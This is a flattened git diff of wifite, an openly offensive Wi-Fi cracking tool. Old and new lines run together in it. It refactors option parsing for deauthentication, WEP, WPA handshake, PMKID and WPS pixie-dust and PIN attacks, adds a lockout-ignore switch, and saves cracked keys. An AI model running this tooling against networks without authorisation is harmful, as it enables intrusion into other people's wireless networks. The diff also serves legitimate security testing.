'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt' '/usr/share/wordlists/fern-wifi/common.txt'
@@ -97,6 +101,9 @@ class Configuration(object):
cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
cls.wps_only = False # ONLY use WPS attacks on non-WEP networks cls.wps_only = False # ONLY use WPS attacks on non-WEP networks
cls.use_bully = False # Use bully instead of reaver cls.use_bully = False # Use bully instead of reaver
cls.wps_pixie = True
cls.wps_pin = True
cls.wps_ignore_lock = False # Skip WPS PIN attack if AP is locked.
cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
cls.wps_fail_threshold = 100 # Max number of failures cls.wps_fail_threshold = 100 # Max number of failures
cls.wps_timeout_threshold = 100 # Max number of timeouts cls.wps_timeout_threshold = 100 # Max number of timeouts
@@ -122,92 +129,157 @@ class Configuration(object):
if cls.random_mac: if cls.random_mac:
Macchanger.random() Macchanger.random()
@staticmethod
def get_wireless_interface():
pass
@classmethod @classmethod
def load_from_arguments(cls): def load_from_arguments(cls):
''' Sets configuration values based on Argument.args object ''' ''' Sets configuration values based on Argument.args object '''
from .args import Arguments from .args import Arguments
args = Arguments(cls).args args = Arguments(cls).args
cls.parse_settings_args(args)
cls.parse_wep_args(args)
cls.parse_wpa_args(args)
cls.parse_wps_args(args)
cls.parse_encryption()
# EvilTwin
'''
if args.use_eviltwin:
cls.use_eviltwin = True
Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
'''
cls.parse_wep_attacks()
cls.validate()
# Commands
if args.cracked: cls.show_cracked = True
if args.check_handshake: cls.check_handshake = args.check_handshake
if args.crack_handshake: cls.crack_handshake = True
@classmethod
def validate(cls):
if cls.use_pmkid_only and cls.wps_only:
Color.pl('{!} {R}Bad Configuration:{O} --pmkid and --wps-only are not compatible')
raise RuntimeError('Unable to attack networks: --pmkid and --wps-only are not compatible together')
@classmethod
def parse_settings_args(cls, args):
'''Parses basic settings/configurations from arguments.'''
if args.random_mac: if args.random_mac:
cls.random_mac = True cls.random_mac = True
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking') Color.pl('{+} {C}option:{W} using {G}random mac address{W} ' +
'when scanning & attacking')
if args.channel: if args.channel:
cls.target_channel = args.channel cls.target_channel = args.channel
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel) Color.pl('{+} {C}option:{W} scanning for targets on channel ' +
'{G}%s{W}' % args.channel)
if args.interface: if args.interface:
cls.interface = args.interface cls.interface = args.interface
Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface) Color.pl('{+} {C}option:{W} using wireless interface ' +
'{G}%s{W}' % args.interface)
if args.target_bssid: if args.target_bssid:
cls.target_bssid = args.target_bssid cls.target_bssid = args.target_bssid
Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid) Color.pl('{+} {C}option:{W} targeting BSSID ' +
'{G}%s{W}' % args.target_bssid)
if args.five_ghz == True: if args.five_ghz == True:
cls.five_ghz = True cls.five_ghz = True
Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans') Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
if args.show_bssids == True: if args.show_bssids == True:
cls.show_bssids = True cls.show_bssids = True
Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan') Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
if args.no_deauth == True: if args.no_deauth == True:
cls.no_deauth = True cls.no_deauth = True
Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures') Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients ' +
'during scans or captures')
if args.num_deauths and args.num_deauths > 0: if args.num_deauths and args.num_deauths > 0:
cls.num_deauths = args.num_deauths cls.num_deauths = args.num_deauths
Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % cls.num_deauths) Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets when deauthing' % (
cls.num_deauths))
if args.target_essid: if args.target_essid:
cls.target_essid = args.target_essid cls.target_essid = args.target_essid
Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid) Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
if args.ignore_essid is not None: if args.ignore_essid is not None:
cls.ignore_essid = args.ignore_essid cls.ignore_essid = args.ignore_essid
Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid) Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % (
args.ignore_essid))
if args.clients_only == True: if args.clients_only == True:
cls.clients_only = True cls.clients_only = True
Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients') Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have ' +
'associated clients')
if args.scan_time: if args.scan_time:
cls.scan_time = args.scan_time cls.scan_time = args.scan_time
Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time) Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets ' +
'after {G}%d{W}s' % args.scan_time)
if args.verbose: if args.verbose:
cls.verbose = args.verbose cls.verbose = args.verbose
Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
if args.kill_conflicting_processes: if args.kill_conflicting_processes:
cls.kill_conflicting_processes = True cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# EvilTwin
if args.use_eviltwin:
cls.use_eviltwin = True
Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
# WEP @classmethod
def parse_wep_args(cls, args):
'''Parses WEP-specific arguments'''
if args.wep_filter: if args.wep_filter:
cls.wep_filter = args.wep_filter cls.wep_filter = args.wep_filter
if args.wep_pps: if args.wep_pps:
cls.wep_pps = args.wep_pps cls.wep_pps = args.wep_pps
Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps) Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec on WEP attacks' % (
args.wep_pps))
if args.wep_timeout: if args.wep_timeout:
cls.wep_timeout = args.wep_timeout cls.wep_timeout = args.wep_timeout
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout) Color.pl('{+} {C}option:{W} WEP attack timeout set to ' +
'{G}%d seconds{W}' % args.wep_timeout)
if args.require_fakeauth: if args.require_fakeauth:
cls.require_fakeauth = True cls.require_fakeauth = True
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks') Color.pl('{+} {C}option:{W} fake-authentication is ' +
'{G}required{W} for WEP attacks')
if args.wep_crack_at_ivs: if args.wep_crack_at_ivs:
cls.wep_crack_at_ivs = args.wep_crack_at_ivs cls.wep_crack_at_ivs = args.wep_crack_at_ivs
Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs) Color.pl('{+} {C}option:{W} will start cracking WEP keys at ' +
'{G}%d IVs{W}' % args.wep_crack_at_ivs)
if args.wep_restart_stale_ivs: if args.wep_restart_stale_ivs:
cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs
Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs) Color.pl('{+} {C}option:{W} will restart aireplay after ' +
'{G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
if args.wep_restart_aircrack: if args.wep_restart_aircrack:
cls.wep_restart_aircrack = args.wep_restart_aircrack cls.wep_restart_aircrack = args.wep_restart_aircrack
Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack) Color.pl('{+} {C}option:{W} will restart aircrack every ' +
'{G}%d seconds{W}' % args.wep_restart_aircrack)
if args.wep_keep_ivs: if args.wep_keep_ivs:
cls.wep_keep_ivs = args.wep_keep_ivs cls.wep_keep_ivs = args.wep_keep_ivs
Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks') Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')
# WPA @classmethod
def parse_wpa_args(cls, args):
'''Parses WPA-specific arguments'''
if args.wpa_filter: if args.wpa_filter:
cls.wpa_filter = args.wpa_filter cls.wpa_filter = args.wpa_filter
if args.wordlist: if args.wordlist:
if os.path.exists(args.wordlist): if os.path.exists(args.wordlist):
cls.wordlist = args.wordlist cls.wordlist = args.wordlist
@@ -215,45 +287,101 @@ class Configuration(object):
else: else:
cls.wordlist = None cls.wordlist = None
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist) Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
if args.wpa_deauth_timeout: if args.wpa_deauth_timeout:
cls.wpa_deauth_timeout = args.wpa_deauth_timeout cls.wpa_deauth_timeout = args.wpa_deauth_timeout
Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout) Color.pl('{+} {C}option:{W} will deauth WPA clients every ' +
'{G}%d seconds{W}' % args.wpa_deauth_timeout)
if args.wpa_attack_timeout: if args.wpa_attack_timeout:
cls.wpa_attack_timeout = args.wpa_attack_timeout cls.wpa_attack_timeout = args.wpa_attack_timeout
Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout) Color.pl('{+} {C}option:{W} will stop WPA handshake capture after ' +
'{G}%d seconds{W}' % args.wpa_attack_timeout)
if args.ignore_old_handshakes: if args.ignore_old_handshakes:
cls.ignore_old_handshakes = True cls.ignore_old_handshakes = True
Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)") Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes ' +
'(force capture)')
if args.use_pmkid_only:
cls.use_pmkid_only = True
Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks')
if args.wpa_handshake_dir: if args.wpa_handshake_dir:
cls.wpa_handshake_dir = args.wpa_handshake_dir cls.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir) Color.pl('{+} {C}option:{W} will store handshakes to ' +
'{G}%s{W}' % args.wpa_handshake_dir)
if args.wpa_strip_handshake: if args.wpa_strip_handshake:
cls.wpa_strip_handshake = True cls.wpa_strip_handshake = True
Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets") Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets')
# WPS @classmethod
def parse_wps_args(cls, args):
'''Parses WPS-specific arguments'''
if args.wps_filter: if args.wps_filter:
cls.wps_filter = args.wps_filter cls.wps_filter = args.wps_filter
if args.wps_only: if args.wps_only:
cls.wps_only = True cls.wps_only = True
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') cls.wps_filter = True # Also only show WPS networks
Color.pl('{+} {C}option:{W} will *only* attack WPS networks with ' +
'{G}WPS attacks{W} (avoids handshake and PMKID)')
if args.no_wps: if args.no_wps:
# No WPS attacks at all
cls.no_wps = args.no_wps cls.no_wps = args.no_wps
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') cls.wps_pixie = False
cls.wps_pin = False
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} ' +
'(Pixie-Dust/PIN) on targets')
elif args.wps_pixie:
# WPS Pixie-Dust only
cls.wps_pixie = True
cls.wps_pin = False
Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS Pixie-Dust ' +
'attack{W} (no {O}PIN{W}) on targets')
elif args.wps_no_pixie:
# WPS PIN only
cls.wps_pixie = False
cls.wps_pin = True
Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS PIN attack{W} ' +
'(no {O}Pixie-Dust{W}) on targets')
if args.use_bully: if args.use_bully:
from tools.bully import Bully
if not Bully.exists():
Color.pl('{!} {R}Bully not found. Defaulting to {O}reaver{W}')
cls.use_bully = False
else:
cls.use_bully = args.use_bully cls.use_bully = args.use_bully
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} ' +
'for WPS Attacks')
if args.wps_pixie_timeout: if args.wps_pixie_timeout:
cls.wps_pixie_timeout = args.wps_pixie_timeout cls.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout) Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after ' +
'{O}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_fail_threshold: if args.wps_fail_threshold:
cls.wps_fail_threshold = args.wps_fail_threshold cls.wps_fail_threshold = args.wps_fail_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
'{O}%d failures{W}' % args.wps_fail_threshold)
if args.wps_timeout_threshold: if args.wps_timeout_threshold:
cls.wps_timeout_threshold = args.wps_timeout_threshold cls.wps_timeout_threshold = args.wps_timeout_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
'{O}%d timeouts{W}' % args.wps_timeout_threshold)
# Adjust encryption filter if args.wps_ignore_lock:
cls.wps_ignore_lock = True
Color.pl('{+} {C}option:{W} will {O}ignore{W} WPS lock-outs')
@classmethod
def parse_encryption(cls):
'''Adjusts encryption filter (WEP and/or WPA and/or WPS)'''
cls.encryption_filter = [] cls.encryption_filter = []
if cls.wep_filter: cls.encryption_filter.append('WEP') if cls.wep_filter: cls.encryption_filter.append('WEP')
if cls.wpa_filter: cls.encryption_filter.append('WPA') if cls.wpa_filter: cls.encryption_filter.append('WPA')
@@ -269,7 +397,9 @@ class Configuration(object):
'targeting {G}%s-encrypted{W} networks' 'targeting {G}%s-encrypted{W} networks'
% '/'.join(cls.encryption_filter)) % '/'.join(cls.encryption_filter))
# Adjust WEP attack list @classmethod
def parse_wep_attacks(cls):
'''Parses and sets WEP-specific args (-chopchop, -fragment, etc)'''
cls.wep_attacks = [] cls.wep_attacks = []
import sys import sys
seen = set() seen = set()
@@ -290,16 +420,12 @@ class Configuration(object):
'chopchop', 'chopchop',
'caffelatte', 'caffelatte',
'p0841', 'p0841',
'hirte'] 'hirte'
]
elif len(cls.wep_attacks) > 0: elif len(cls.wep_attacks) > 0:
Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks' Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
% '{W}, {G}'.join(cls.wep_attacks)) % '{W}, {G}'.join(cls.wep_attacks))
# Commands
if args.cracked: cls.show_cracked = True
if args.check_handshake: cls.check_handshake = args.check_handshake
if args.crack_handshake: cls.crack_handshake = True
@classmethod @classmethod
def temp(cls, subfile=''): def temp(cls, subfile=''):
@@ -334,8 +460,9 @@ class Configuration(object):
Macchanger.reset_if_changed() Macchanger.reset_if_changed()
from .tools.airmon import Airmon from .tools.airmon import Airmon
if cls.interface is not None and Airmon.base_interface is not None: if cls.interface is not None and Airmon.base_interface is not None:
Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % cls.interface) Color.pl('{!} {O}Note:{W} Leaving interface in Monitor Mode!')
Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % cls.interface) Color.pl('{!} To disable Monitor Mode when finished: ' +
'{C}airmon-ng stop %s{W}' % cls.interface)
# Stop monitor mode # Stop monitor mode
#Airmon.stop(cls.interface) #Airmon.stop(cls.interface)
@@ -361,9 +488,9 @@ class Configuration(object):
result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len)) result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
for (key,val) in sorted(cls.__dict__.items()): for (key,val) in sorted(cls.__dict__.items()):
if key.startswith('__') or type(val) == staticmethod or val is None: if key.startswith('__') or type(val) in [classmethod, staticmethod] or val is None:
continue continue
result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val)) result += Color.s('{G}%s {W} {C}%s{W}\n' % (key.ljust(max_len),val))
return result return result
if __name__ == '__main__': if __name__ == '__main__':

0
wifite/model/__init__.py Normal file → Executable file
View File

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import time import time
@@ -12,7 +12,7 @@ class Attack(object):
self.target = target self.target = target
def run(self): def run(self):
raise Exception("Unimplemented method: run") raise Exception('Unimplemented method: run')
def wait_for_target(self, airodump): def wait_for_target(self, airodump):
'''Waits for target to appear in airodump.''' '''Waits for target to appear in airodump.'''

View File

@@ -1,9 +1,9 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
class Client(object): class Client(object):
''' '''
Holds details for a "Client" - a wireless device (e.g. computer) Holds details for a 'Client' - a wireless device (e.g. computer)
that is associated with an Access Point (e.g. router) that is associated with an Access Point (e.g. router)
''' '''

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.process import Process from ..util.process import Process
@@ -9,19 +9,23 @@ from ..tools.pyrit import Pyrit
import re, os import re, os
class Handshake(object): class Handshake(object):
def __init__(self, capfile, bssid=None, essid=None): def __init__(self, capfile, bssid=None, essid=None):
self.capfile = capfile self.capfile = capfile
self.bssid = bssid self.bssid = bssid
self.essid = essid self.essid = essid
def divine_bssid_and_essid(self): def divine_bssid_and_essid(self):
''' '''
Tries to find BSSID and ESSID from cap file. Tries to find BSSID and ESSID from cap file.
Sets this instances 'bssid' and 'essid' instance fields. Sets this instances 'bssid' and 'essid' instance fields.
''' '''
# We can get BSSID from the .cap filename if Wifite captured it.
# ESSID is stripped of non-printable characters, so we can't rely on that.
if self.bssid is None: if self.bssid is None:
hs_regex = re.compile(r"^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$", re.IGNORECASE) hs_regex = re.compile(r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', re.IGNORECASE)
match = hs_regex.match(self.capfile) match = hs_regex.match(self.capfile)
if match: if match:
self.bssid = match.group(1).replace('-', ':') self.bssid = match.group(1).replace('-', ':')
@@ -33,7 +37,8 @@ class Handshake(object):
pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit
if len(pairs) == 0 and not self.bssid and not self.essid: if len(pairs) == 0 and not self.bssid and not self.essid:
raise Exception("Cannot find BSSID or ESSID in cap file") # Tshark and Pyrit failed us, nothing else we can do. # Tshark and Pyrit failed us, nothing else we can do.
raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile)
if not self.essid and not self.bssid: if not self.essid and not self.bssid:
# We do not know the bssid nor the essid # We do not know the bssid nor the essid
@@ -60,6 +65,7 @@ class Handshake(object):
self.essid = essid self.essid = essid
break break
def has_handshake(self): def has_handshake(self):
if not self.bssid or not self.essid: if not self.bssid or not self.essid:
self.divine_bssid_and_essid() self.divine_bssid_and_essid()
@@ -75,27 +81,26 @@ class Handshake(object):
def tshark_handshakes(self): def tshark_handshakes(self):
''' Returns True if tshark identifies a handshake, False otherwise ''' '''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).'''
tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid) tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid)
return [(bssid, None) for bssid in tshark_bssids] return [(bssid, None) for bssid in tshark_bssids]
def cowpatty_command(self): def cowpatty_handshakes(self):
return [ '''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).'''
if not Process.exists('cowpatty'):
return []
if not self.essid:
return [] # We need a essid for cowpatty :(
command = [
'cowpatty', 'cowpatty',
'-r', self.capfile, '-r', self.capfile,
'-s', self.essid, '-s', self.essid,
'-c' # Check for handshake '-c' # Check for handshake
] ]
def cowpatty_handshakes(self): proc = Process(command, devnull=False)
''' Returns True if cowpatty identifies a handshake, False otherwise '''
if not Process.exists('cowpatty'):
return []
if not self.essid:
return [] # We need a essid for cowpatty :(
proc = Process(self.cowpatty_command(), devnull=False)
for line in proc.stdout().split('\n'): for line in proc.stdout().split('\n'):
if 'Collected all necessary data to mount crack against WPA' in line: if 'Collected all necessary data to mount crack against WPA' in line:
return [(None, self.essid)] return [(None, self.essid)]
@@ -103,8 +108,9 @@ class Handshake(object):
def pyrit_handshakes(self): def pyrit_handshakes(self):
''' Returns list of BSSID,ESSID tuples if pyrit identifies a handshake''' '''Returns list[tuple] of BSSID & ESSID pairs.'''
return Pyrit.bssid_essid_with_handshakes(self.capfile, bssid=self.bssid, essid=self.essid) return Pyrit.bssid_essid_with_handshakes(
self.capfile, bssid=self.bssid, essid=self.essid)
def aircrack_handshakes(self): def aircrack_handshakes(self):
@@ -125,9 +131,15 @@ class Handshake(object):
'''Prints analysis of handshake capfile''' '''Prints analysis of handshake capfile'''
self.divine_bssid_and_essid() self.divine_bssid_and_essid()
if Tshark.exists():
Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark') Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark')
if Pyrit.exists():
Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit') Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit')
if Process.exists('cowpatty'):
Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty') Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty')
Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack') Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack')
@@ -171,7 +183,7 @@ class Handshake(object):
tool_str = '{C}%s{W}: ' % tool.rjust(8) tool_str = '{C}%s{W}: ' % tool.rjust(8)
if len(pairs) == 0: if len(pairs) == 0:
Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}" % (tool_str)) Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str))
return return
for (bssid, essid) in pairs: for (bssid, essid) in pairs:
@@ -184,24 +196,51 @@ class Handshake(object):
Color.pl('%s ({G}%s{W})' % (out_str, essid)) Color.pl('%s ({G}%s{W})' % (out_str, essid))
@staticmethod
def check():
''' Analyzes .cap file(s) for handshake '''
from ..config import Configuration
if Configuration.check_handshake == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError as e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [Configuration.check_handshake]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
if __name__ == '__main__': if __name__ == '__main__':
print('With BSSID & ESSID specified:') print('With BSSID & ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi') hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')
hs.analyze() hs.analyze()
print("has_hanshake() =", hs.has_handshake()) print('has_hanshake() =', hs.has_handshake())
print('\nWith BSSID, but no ESSID specified:') print('\nWith BSSID, but no ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18') hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18')
hs.analyze() hs.analyze()
print("has_hanshake() =", hs.has_handshake()) print('has_hanshake() =', hs.has_handshake())
print('\nWith ESSID, but no BSSID specified:') print('\nWith ESSID, but no BSSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi') hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi')
hs.analyze() hs.analyze()
print("has_hanshake() =", hs.has_handshake()) print('has_hanshake() =', hs.has_handshake())
print('\nWith neither BSSID nor ESSID specified:') print('\nWith neither BSSID nor ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap') hs = Handshake('./tests/files/handshake_has_1234.cap')
try:
hs.analyze() hs.analyze()
print("has_hanshake() =", hs.has_handshake()) print('has_hanshake() =', hs.has_handshake())
except Exception as e:
Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e)

60
wifite/model/pmkid_result.py Executable file
View File

@@ -0,0 +1,60 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
from .result import CrackResult
class CrackResultPMKID(CrackResult):
def __init__(self, bssid, essid, pmkid_file, key):
self.result_type = 'PMKID'
self.bssid = bssid
self.essid = essid
self.pmkid_file = pmkid_file
self.key = key
super(CrackResultPMKID, self).__init__()
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point Name'.rjust(19), self.essid))
if self.bssid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point BSSID'.rjust(19), self.bssid))
Color.pl('{+} %s: {C}%s{W}' %
('Encryption'.rjust(19), self.result_type))
if self.pmkid_file:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID File'.rjust(19), self.pmkid_file))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'PMKID'.ljust(5))
Color.p(' ')
Color.p('Key: {G}%s{W}' % self.key)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'key' : self.key,
'pmkid_file' : self.pmkid_file
}
if __name__ == '__main__':
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
w.dump()
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
print('\n')
w.dump()
w.save()
print(w.__dict__['bssid'])

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color
@@ -11,38 +11,105 @@ class CrackResult(object):
''' Abstract class containing results from a crack session ''' ''' Abstract class containing results from a crack session '''
# File to save cracks to, in PWD # File to save cracks to, in PWD
cracked_file = "cracked.txt" cracked_file = 'cracked.txt'
def __init__(self): def __init__(self):
self.date = int(time.time()) self.date = int(time.time())
self.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.date))
def dump(self): def dump(self):
raise Exception("Unimplemented method: dump()") raise Exception('Unimplemented method: dump()')
def to_dict(self): def to_dict(self):
raise Exception("Unimplemented method: to_dict()") raise Exception('Unimplemented method: to_dict()')
def print_single_line(self, longest_essid):
raise Exception('Unimplemented method: print_single_line()')
def print_single_line_prefix(self, longest_essid):
essid = self.essid if self.essid else 'N/A'
Color.p('{W} ')
Color.p('{C}%s{W}' % essid.ljust(longest_essid))
Color.p(' ')
Color.p('{GR}%s{W}' % self.bssid.ljust(17))
Color.p(' ')
Color.p('{D}%s{W}' % self.readable_date.ljust(19))
Color.p(' ')
def save(self): def save(self):
''' Adds this crack result to the cracked file and saves it. ''' ''' Adds this crack result to the cracked file and saves it. '''
name = CrackResult.cracked_file name = CrackResult.cracked_file
json = [] saved_results = []
if os.path.exists(name): if os.path.exists(name):
with open(name, 'r') as fid: with open(name, 'r') as fid:
text = fid.read() text = fid.read()
try: try:
json = loads(text) saved_results = loads(text)
except Exception as e: except Exception as e:
Color.pl('{!} error while loading %s: %s' % (name, str(e))) Color.pl('{!} error while loading %s: %s' % (name, str(e)))
json.append(self.to_dict())
# Check for duplicates
this_dict = self.to_dict()
this_dict.pop('date')
for entry in saved_results:
this_dict['date'] = entry.get('date')
if entry == this_dict:
# Skip if we already saved this BSSID+ESSID+TYPE+KEY
Color.pl('{+} {C}%s{O} already exists in {G}cracked.txt{O}, skipping.' % (
self.essid))
return
saved_results.append(self.to_dict())
with open(name, 'w') as fid: with open(name, 'w') as fid:
fid.write(dumps(json, indent=2)) fid.write(dumps(saved_results, indent=2))
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})' Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json))) % (name, len(saved_results)))
@classmethod
